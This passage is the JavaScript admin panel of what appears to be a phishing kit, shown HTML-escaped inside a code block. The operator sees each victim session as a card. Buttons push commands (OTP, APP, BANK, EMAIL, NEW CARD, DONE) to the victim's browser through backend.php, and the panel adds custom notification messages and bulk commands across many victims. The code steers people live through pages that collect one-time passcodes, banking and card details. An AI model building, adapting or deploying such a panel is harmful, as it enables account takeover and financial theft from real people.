        html += &#039;&lt;button class=&quot;btn-otp&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;go_otp\&#039;)&quot;&gt;OTP&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-app&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;go_app\&#039;)&quot;&gt;APP&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-bank&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;go_bank\&#039;)&quot;&gt;BANK&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-email&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;go_email\&#039;)&quot;&gt;EMAIL&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-quick&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;new_card\&#039;)&quot;&gt;NEW CARD&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-done&quot; onclick=&quot;quickCmd(\&#039;&#039; + uid + &#039;\&#039;,\&#039;go_success\&#039;)&quot;&gt;DONE&lt;/button&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-delete&quot; onclick=&quot;deleteUser(\&#039;&#039; + uid + &#039;\&#039;)&quot;&gt;Delete&lt;/button&gt;&#039;;
        html += &#039;&lt;/div&gt;&#039;;
        html += &#039;&lt;div class=&quot;cmd-row&quot; style=&quot;margin-top:8px;&quot;&gt;&#039;;
        html += &#039;&lt;input type=&quot;text&quot; id=&quot;notify-&#039; + uid + &#039;&quot; placeholder=&quot;Custom notification message...&quot; autocomplete=&quot;off&quot;&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-notify&quot; onclick=&quot;sendNotify(\&#039;&#039; + uid + &#039;\&#039;)&quot;&gt;📢 Notify&lt;/button&gt;&#039;;
        html += &#039;&lt;/div&gt;&#039;;
        var statusText = isWaiting ? &#039;Command pending...&#039; : (isProcessing ? &#039;User on processing screen - send command&#039; : &#039;Idle&#039;);
        html += &#039;&lt;div class=&quot;status &#039; + (isWaiting?&#039;pending&#039;:&#039;&#039;) + &#039;&quot; id=&quot;status-&#039; + uid + &#039;&quot;&gt;&#039; + statusText + &#039;&lt;/div&gt;&#039;;
        html += &#039;&lt;/div&gt;&#039;;
    }

    div.innerHTML = html;
    container.insertBefore(div, container.firstChild);

    var total = document.getElementById(&#039;stat-total&#039;);
    if (total) total.textContent = parseInt(total.textContent) + 1;
}

function sendCmd(uid, btn) {
    if (state.role === &#039;viewer&#039;) { toast(&#039;Access denied&#039;); return; }
    var sel = document.getElementById(&#039;cmd-&#039; + uid);
    var cmd = sel.value;
    if (!cmd) { toast(&#039;Select a command&#039;); return; }

    btn.disabled = true;
    btn.textContent = &#039;...&#039;;

    var xhr = new XMLHttpRequest();
    xhr.open(&#039;GET&#039;, &#039;backend.php?adminCmd=&#039; + encodeURIComponent(cmd) + &#039;&amp;uid=&#039; + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            if (xhr.status === 200) {
                btn.textContent = &#039;SENT&#039;;
                btn.style.background = &#039;#10b981&#039;;
                document.getElementById(&#039;status-&#039; + uid).className = &#039;status pending&#039;;
                document.getElementById(&#039;status-&#039; + uid).textContent = &#039;Command pending...&#039;;
                state.pending[uid] = true;
                toast(&#039;Sent: &#039; + cmd);
                setTimeout(function() { btn.disabled = false; btn.textContent = &#039;SEND&#039;; btn.style.background = &#039;&#039;; }, 2000);
            } else {
                btn.disabled = false;
                btn.textContent = &#039;SEND&#039;;
                toast(&#039;Failed to send command&#039;);
            }
        }
    };
    xhr.send();
}

function quickCmd(uid, cmd) {
    var sel = document.getElementById(&#039;cmd-&#039; + uid);
    if (sel) sel.value = cmd;
    var btn = document.getElementById(&#039;btn-send-&#039; + uid);
    if (btn) sendCmd(uid, btn);
}

function sendNotify(uid) {
    var input = document.getElementById(&#039;notify-&#039; + uid);
    var msg = input.value.trim();
    if (!msg) { toast(&#039;Enter a notification message&#039;); return; }
    
    var xhr = new XMLHttpRequest();
    xhr.open(&#039;GET&#039;, &#039;backend.php?adminCmd=&#039; + encodeURIComponent(&#039;notify:&#039; + msg) + &#039;&amp;uid=&#039; + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
            input.value = &#039;&#039;;
            toast(&#039;Notification sent to user&#039;);
        }
    };
    xhr.send();
}

function deleteUser(uid) {
    if (!confirm(&#039;Delete user &#039; + uid + &#039;?&#039;)) return;
    var xhr = new XMLHttpRequest();
    xhr.open(&#039;GET&#039;, &#039;?delete=&#039; + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
            var card = document.getElementById(&#039;card-&#039; + uid);
            if (card) card.remove();
            toast(&#039;Deleted &#039; + uid.substr(0,12));
            updateStats(state.lastData);
        }
    };
    xhr.send();
}

function updateStats(data) {
    var online = 0, processing = 0;
    var now = Date.now()/1000;
    for (var uid in data) {
        if ((now - (data[uid].last_activity||0)) &lt; 15) online++;
        var step = data[uid].info &amp;&amp; data[uid].info.step ? data[uid].info.step : 1;
        var isWaiting = (data[uid].command||&#039;wait&#039;) !== &#039;wait&#039;;
        if (step == 3 &amp;&amp; !isWaiting) processing++;
    }
    var el = document.getElementById(&#039;stat-online&#039;);
    if (el) el.textContent = online;
    var el2 = document.getElementById(&#039;stat-total&#039;);
    if (el2) el2.textContent = Object.keys(data).length;
    var el3 = document.getElementById(&#039;stat-processing&#039;);
    if (el3) el3.textContent = processing;
}

function toast(msg) {
    var c = document.getElementById(&#039;toasts&#039;);
    var d = document.createElement(&#039;div&#039;);
    d.className = &#039;toast&#039;;
    d.textContent = msg;
    c.appendChild(d);
    setTimeout(function() { d.remove(); }, 3000);
}

function setFilter(f) {
    location.href = &#039;?filter=&#039; + f;
}

function forceRefresh() {
    state.lastHash = &#039;&#039;;
    poll();
    toast(&#039;Refreshed&#039;);
}

function escapeHtml(t) {
    if (t == null) return &#039;&#039;;
    var d = document.createElement(&#039;div&#039;);
    d.textContent = t;
    return d.innerHTML;
}

// ==================== SEARCH ====================
function filterUsers() {
    var q = document.getElementById(&#039;searchInput&#039;).value.toLowerCase();
    var cards = document.querySelectorAll(&#039;.user[data-uid]&#039;);
    cards.forEach(function(card) {
        var uid = card.getAttribute(&#039;data-uid&#039;).toLowerCase();
        var text = card.textContent.toLowerCase();
        if (text.indexOf(q) !== -1 || uid.indexOf(q) !== -1) {
            card.style.display = &#039;&#039;;
        } else {
            card.style.display = &#039;none&#039;;
        }
    });
}

// ==================== BULK ACTIONS ====================
function updateBulk() {
    var checked = document.querySelectorAll(&#039;.user-checkbox:checked&#039;);
    var panel = document.getElementById(&#039;bulkPanel&#039;);
    document.getElementById(&#039;bulkCount&#039;).textContent = checked.length;
    if (checked.length &gt; 0) panel.classList.add(&#039;show&#039;);
    else panel.classList.remove(&#039;show&#039;);
}

function clearBulk() {
    document.querySelectorAll(&#039;.user-checkbox&#039;).forEach(function(cb) { cb.checked = false; });
    updateBulk();
}

function sendBulkCmd() {
    var cmd = document.getElementById(&#039;bulkCmd&#039;).value;
    if (!cmd) { toast(&#039;Select a bulk command&#039;); return; }
    var checked = document.querySelectorAll(&#039;.user-checkbox:checked&#039;);
    if (checked.length === 0) { toast(&#039;No users selected&#039;); return; }
    
    checked.forEach(function(cb, index) {
        var uid = cb.getAttribute(&#039;data-uid&#039;);
        setTimeout(function() {
            if (cmd === &#039;delete&#039;) {
                deleteUser(uid);
            } else {
                quickCmd(uid, cmd);
            }
        }, index * 300);
    });
    toast(&#039;Bulk command sent to &#039; + checked.length + &#039; users&#039;);
    setTimeout(clearBulk, checked.length * 300 + 500);
}

startPoll();
poll();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>        </div>
    </div>